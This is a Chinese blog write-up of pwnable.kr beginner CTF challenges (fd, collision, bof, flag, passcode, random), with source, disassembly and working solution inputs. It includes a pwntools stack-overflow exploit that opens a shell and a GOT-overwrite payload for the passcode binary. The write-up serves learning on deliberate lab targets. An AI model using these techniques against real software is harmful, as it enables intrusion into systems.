pwnable[baby]

fd

连接到服务器后 ls 看一下有什么东西:

查看当前目录下的文件和目录(默认情况下,不显示隐藏文件):ls

显示所有文件,包括以.开头的隐藏文件:ls -a

显示文件的详细信息,包括权限、所有者、组、文件大小、修改日期等:ls -l

同时显示隐藏文件和详细信息:ls -al

  • d:表示该项是一个目录。如果是一个文件,此处会显示一个-代替。
  • r: 表示读取权限。对于文件来说,如果有读取权限,则表示可以读取文件的内容。对于目录来说,如果有读取权限,则表示可以查看目录中的文件列表。
  • w: 表示写入权限。对于文件来说,如果有写入权限,则表示可以编辑或修改文件。对于目录来说,如果有写入权限,则表示可以在目录中创建、删除和重命名文件。
  • x: 表示执行权限。对于文件来说,如果有执行权限,则表示可以运行该文件(对于可执行程序)。对于目录来说,如果有执行权限,则表示可以通过该目录进入其子目录。

例如第一行中的"drwx r-x ---",表示该项是一个目录,权限位为 rwx,root用户对该目录具有读、写、执行权限;对于所属组(fd组),具有读、执行权限;其他用户没有任何权限。


作为 fd 用户,我们对于 flag 文件并无读写权限。我们可以 cat 看一下 fd.c 里有啥。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

运行该文件的同时需要再输入一个值作为命令行参数。

在Linux中,read() 函数用于从文件描述符(File Descriptor)中读取数据。文件描述符是一个非负整数,用于标识打开的文件或其他I/O资源。以下是常见的文件描述符的值:

  • 标准输入(Standard Input):0
  • 标准输出(Standard Output):1
  • 标准错误(Standard Error):2

这些标准文件描述符通常与终端(或控制台)相关联。如果从标准输入读取数据,read() 函数的第一个参数应该设置为 0

因此,额外输入的那个数需要与 0x1234 相等,即 4660。

随后read函数读入字符串至缓冲区中,buf中的内容为 LETMEWIN 是执行 cat flag。

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$ 

collison

根据题目信息和 MD5 哈希有关。

查看 col.c 源码:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

依旧是要在运行文件的时候添加一个命令行参数,且长度需为 20 字节。check_password函数将输入的20字节以四字节为一个单位分割得到 5 个 int 类型的整数并相加,使之等于 0x21DD09EC。

感觉这个只要随便凑就行了罢(

0x21DD09EC 对应 568,134,124,把它拆成四个整数再组合成20字节的数据。

168000000 ——> A037A00

100130000 ——> 5F7DCD0

100004000 ——> 5F5F0A0

100000120 ——> 5F5E178

100000004 ——> 5F5E104

将要输入的字符改为小端序,四个整数的顺序不重要。

\x00\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x04\xE1\xF5\x05

输进去看看,发现它识别不出来,这些十六进制也没法完全转换成 ASCII 字符串,根本凑不出来。

网上很多答案说可以用 python 直接操作内存,

输入以下命令:

col@pwnable:~$ ./col `python -c 'print "\x00\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x04\xE1\xF5\x05"'`
passcode length should be 20 bytes

感觉有可能是一开始那个 00 的问题,略作调整:

col@pwnable:~$ ./col `python -c 'print "\x01\x7A\x03\x0A\xD0\xDC\xF7\x05\xA0\xF0\xF5\x05\x78\xE1\xF5\x05\x03\xE1\xF5\x05"'`
passcode length should be 20 bytes

还是不行。但是 网友wp里的就能打通:

col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
daddy! I just managed to create a hash collision :)

网友的凑法是把数加一后正好被五整除,最后一位减一即可

?明明思路上没什么问题(

而且感觉这题跟 MD5 没啥关系

bof

源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

目标是使 key 等于 0xcafebabe 的判断成立,通过栈溢出实现。

错误的参数值 0xdeadbeef 是作为函数的参数先于用户输入的内容被放入栈中的,因此要算出错误参数值存放位置到输入内容的距离。

arg_0= dword ptr 8 代表当前函数的栈帧中,相对于栈底偏移量为 8 处的一个双字大小的变量,即 int key。

输入的字符串 s 的地址为 [ebp+s],s= byte ptr -2Ch

所求距离为 2C + 8 = 0x34(52)

直接覆盖原参数即可

exp:

from pwn import*
#p = process("./bof")
p = remote("pwnable.kr",9000)
payload = 52*'a' +p32(0xcafebabe)
p.sendlineafter("overflow me : ", payload)

p.interactive()

flag

一道 64 位的逆向题。

giantbranch@ubuntu:~/Desktop/pwnable/flag$ ./flag
I will malloc() and strcpy the flag there. take it.

查一下发现带一个 upx 壳。脱壳后可以正常进行逆向。

直接白给:UPX...? sounds like a delivery service 😃

passcode

passcode@pwnable:~$ ls -al
total 44
drwxr-x---   5 root passcode     4096 Jul  2  2022 .
drwxr-xr-x 117 root root         4096 Nov 10  2022 ..
d---------   2 root root         4096 Jun 26  2014 .bash_history
-r--r-----   1 root passcode_pwn   48 Jun 26  2014 flag
dr-xr-xr-x   2 root root         4096 Aug 20  2014 .irssi
-rw-------   1 root root         1287 Jul  2  2022 .mysql_history
-r-xr-sr-x   1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r--   1 root root          858 Jun 26  2014 passcode.c
drwxr-xr-x   2 root root         4096 Oct 23  2016 .pwntools-cache
-rw-------   1 root root          581 Jul  2  2022 .viminfo

看起来可以直接用pwntools:

passcode@pwnable:~$ checksec passcode
[*] '/home/passcode/passcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看源码 passcode.c :

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

如果按部就班的输入会发生段错误。题目也提示该程序在编译时出现了警告,可以发现 scanf 的使用出错,导致输入的值无法被正确存储到变量对应的地址中去。程序把 passcode 变量的值当作地址,将输入存放到了错误的内存空间。直接输入的数字很可能不是一个有效地址,因此发生报错。

passcode@pwnable:~$ objdump -d passcode 查看汇编:

08048564 <login>:
 8048564:	55                   	push   %ebp
 8048565:	89 e5                	mov    %esp,%ebp
 8048567:	83 ec 28             	sub    $0x28,%esp         ;开辟栈空间,这里大小为 40
 804856a:	b8 70 87 04 08       	mov    $0x8048770,%eax
 804856f:	89 04 24             	mov    %eax,(%esp)
 8048572:	e8 a9 fe ff ff       	call   8048420 <printf@plt>   
                          ;打印栈顶(ESP)所指向的地址中的内容,这里打印0x8048770中的内容
 8048577:	b8 83 87 04 08       	mov    $0x8048783,%eax
 804857c:	8b 55 f0             	mov    -0x10(%ebp),%edx   ;存放 passcode1 
 804857f:	89 54 24 04          	mov    %edx,0x4(%esp)     ;传递参数给下一个函数
 8048583:	89 04 24             	mov    %eax,(%esp)
 8048586:	e8 15 ff ff ff       	call   80484a0 <__isoc99_scanf@plt>
 804858b:	a1 2c a0 04 08       	mov    0x804a02c,%eax
 8048590:	89 04 24             	mov    %eax,(%esp)
 8048593:	e8 98 fe ff ff       	call   8048430 <fflush@plt>
 8048598:	b8 86 87 04 08       	mov    $0x8048786,%eax
 804859d:	89 04 24             	mov    %eax,(%esp)
 80485a0:	e8 7b fe ff ff       	call   8048420 <printf@plt>
 80485a5:	b8 83 87 04 08       	mov    $0x8048783,%eax
 80485aa:	8b 55 f4             	mov    -0xc(%ebp),%edx    ;存放 passcode2
 80485ad:	89 54 24 04          	mov    %edx,0x4(%esp)     ;传递给下一个函数
 80485b1:	89 04 24             	mov    %eax,(%esp)
 80485b4:	e8 e7 fe ff ff       	call   80484a0 <__isoc99_scanf@plt>
 80485b9:	c7 04 24 99 87 04 08 	movl   $0x8048799,(%esp)
 80485c0:	e8 8b fe ff ff       	call   8048450 <puts@plt>
 80485c5:	81 7d f0 e6 28 05 00 	cmpl   $0x528e6,-0x10(%ebp)  ;比较,但是这里没用
 80485cc:	75 23                	jne    80485f1 <login+0x8d>
 80485ce:	81 7d f4 c9 07 cc 00 	cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:	75 1a                	jne    80485f1 <login+0x8d>
 80485d7:	c7 04 24 a5 87 04 08 	movl   $0x80487a5,(%esp)
 80485de:	e8 6d fe ff ff       	call   8048450 <puts@plt>
 80485e3:	c7 04 24 af 87 04 08 	movl   $0x80487af,(%esp)
 80485ea:	e8 71 fe ff ff       	call   8048460 <system@plt>
 80485ef:	c9                   	leave  
 80485f0:	c3                   	ret    
 80485f1:	c7 04 24 bd 87 04 08 	movl   $0x80487bd,(%esp)
 80485f8:	e8 53 fe ff ff       	call   8048450 <puts@plt>
 80485fd:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048604:	e8 77 fe ff ff       	call   8048480 <exit@plt>

08048609 <welcome>:
 8048609:	55                   	push   %ebp
 804860a:	89 e5                	mov    %esp,%ebp
 804860c:	81 ec 88 00 00 00    	sub    $0x88,%esp      ;大小为136
 8048612:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 8048618:	89 45 f4             	mov    %eax,-0xc(%ebp)
 804861b:	31 c0                	xor    %eax,%eax
 804861d:	b8 cb 87 04 08       	mov    $0x80487cb,%eax
 8048622:	89 04 24             	mov    %eax,(%esp)
 8048625:	e8 f6 fd ff ff       	call   8048420 <printf@plt>
 804862a:	b8 dd 87 04 08       	mov    $0x80487dd,%eax
 804862f:	8d 55 90             	lea    -0x70(%ebp),%edx  ;存放 name
 8048632:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048636:	89 04 24             	mov    %eax,(%esp)
 8048639:	e8 62 fe ff ff       	call   80484a0 <__isoc99_scanf@plt>
 804863e:	b8 e3 87 04 08       	mov    $0x80487e3,%eax
 8048643:	8d 55 90             	lea    -0x70(%ebp),%edx
 8048646:	89 54 24 04          	mov    %edx,0x4(%esp)
 804864a:	89 04 24             	mov    %eax,(%esp)
 804864d:	e8 ce fd ff ff       	call   8048420 <printf@plt>
 8048652:	8b 45 f4             	mov    -0xc(%ebp),%eax
 8048655:	65 33 05 14 00 00 00 	xor    %gs:0x14,%eax
 804865c:	74 05                	je     8048663 <welcome+0x5a>
 804865e:	e8 dd fd ff ff       	call   8048440 <__stack_chk_fail@plt>
 8048663:	c9                   	leave  
 8048664:	c3                   	ret    

函数连续调用意味着栈底相同。因此 welcome 和 login 享有同一个 ebp。

-0x70(%ebp),%edx  ;存放 name        -112
-0x10(%ebp),%edx   ;存放 passcode1    -16
-0xc(%ebp),%edx    ;存放 passcode2    -12

因为 Canary found,正常情况下 name 最多输入 100,够不到passcode2,四个字节正好一个 int 位可以勉强将 passcode1 覆盖。

利用一个四字节覆盖,修改 GOT 表中 printf 的地址为系统调用的地址。

 80485ea:	e8 71 fe ff ff       	call   8048460 <system@plt>

PLT 表用于存储跳转指令,实现函数调用的延迟绑定;GOT 表用于存储全局变量和函数的地址,实现共享和重定位的功能。

scanf(程序系统调用的地址 , printf在got表中的地址)

先将 passcode1 的值改写为 printf 在 got 表中的地址,利用这个被错误使用的 scanf 将 printf 在 got 表中的实际地址改写为系统调用的地址。

输入完成后当程序开始执行 printf 时,自然而然跳转到 got 寻找它的真实地址,而此时真实地址已经被我们篡改。但程序依旧会正常执行。至此我们可以绕过 if 判断直接得到 flag。

查看 got 表(objdump -d -j .plt xxx 可以查看plt表),得到关键地址 0804a000:

passcode@pwnable:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

exp:

from pwn import *
context.log_level = 'info'
session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
p = session.process('./passcode')
printf = 0x0804a000 
payload = 'a'*96 + p32(printf) + '\n' + '134514154\n'
output = p.recvall()
print(output)

网太卡了接收不到结果,直接用 python 则可以:

passcode@pwnable:~$ python -c "print 'a'*96+'\x04\xa0\x04\x08\n134514147\n'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

random

查看源码 random.c:

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

查看保护:

random@pwnable:~$ checksec random
[*] '/home/random/random'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看汇编:

00000000004005f4 <main>:
  4005f4:	55                   	push   %rbp
  4005f5:	48 89 e5             	mov    %rsp,%rbp
  4005f8:	48 83 ec 10          	sub    $0x10,%rsp        ;初始化栈
  4005fc:	b8 00 00 00 00       	mov    $0x0,%eax
  400601:	e8 fa fe ff ff       	callq  400500 <rand@plt>
  400606:	89 45 fc             	mov    %eax,-0x4(%rbp)   ;存储生成的随机数
  400609:	c7 45 f8 00 00 00 00 	movl   $0x0,-0x8(%rbp)
  400610:	b8 60 07 40 00       	mov    $0x400760,%eax
  400615:	48 8d 55 f8          	lea    -0x8(%rbp),%rdx
  400619:	48 89 d6             	mov    %rdx,%rsi
  40061c:	48 89 c7             	mov    %rax,%rdi
  40061f:	b8 00 00 00 00       	mov    $0x0,%eax
  400624:	e8 c7 fe ff ff       	callq  4004f0 <__isoc99_scanf@plt>
  400629:	8b 45 f8             	mov    -0x8(%rbp),%eax   ;存储 scanf 输入的值
  40062c:	33 45 fc             	xor    -0x4(%rbp),%eax   ;取二者异或的结果
  40062f:	3d ef be ad de       	cmp    $0xdeadbeef,%eax
  400634:	75 20                	jne    400656 <main+0x62>
  400636:	bf 63 07 40 00       	mov    $0x400763,%edi
  40063b:	e8 80 fe ff ff       	callq  4004c0 <puts@plt>
  400640:	bf 69 07 40 00       	mov    $0x400769,%edi
  400645:	b8 00 00 00 00       	mov    $0x0,%eax
  40064a:	e8 81 fe ff ff       	callq  4004d0 <system@plt>
  40064f:	b8 00 00 00 00       	mov    $0x0,%eax
  400654:	eb 0f                	jmp    400665 <main+0x71>
  400656:	bf 78 07 40 00       	mov    $0x400778,%edi
  40065b:	e8 60 fe ff ff       	callq  4004c0 <puts@plt>
  400660:	b8 00 00 00 00       	mov    $0x0,%eax
  400665:	c9                   	leaveq 
  400666:	c3                   	retq   
  400667:	90                   	nop
  400668:	90                   	nop

随机数先入栈,那直接调试得到它的值就结束了。

因为没有srand,所以rand生成的随机数完全是固定的。自己写一个脚本在本地运行即可得到正确的随机数。

1804289383(0x6B8B 4567)去和 0xdeadbeef 异或即可得到正确输入。

>>> print(0x6B8B4567^0XDEADBEEF)
3039230856

直接运行输入即可得到flag。

random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

尝试在本地调试一下是否可行,直接编译源码在本地用 gdb 调试也可以得到随机数。

其实我一开始并没有看到程序生成的随机数其实是一个固定值。最初想到的是 scanf 处溢出覆盖 random 数值,凑出 0xdeadbeef 来通过 if 判断。因为 random 和 scanf 输入的无符号整数在栈上是相邻的。

xor_value = 0xdeadbeef
for a in range(0x23456789,0x23456789+5):
    b = xor_value ^ a
    if a != 0 and b != 0 and a ^ b == xor_value:
        print(f"a: {a} (hex: {hex(a)}), b: {b} (hex: {hex(b)})")
# 取其中一对组合
# 0x2345678afde8d965
# 2541551411383556453

尝试用 gdb 调试会发现无法实现覆盖:

scanf 会根据指定的变量类型(无符号整数),自动取输入数值的后四个字节放入栈。

因此这个方法行不通。要通过 scanf 实现溢出,可能仅限于字符数组的情况。

Posted on 2023-07-25 21:34  Chen,qiuyan  阅读(19)  评论(0)    收藏  举报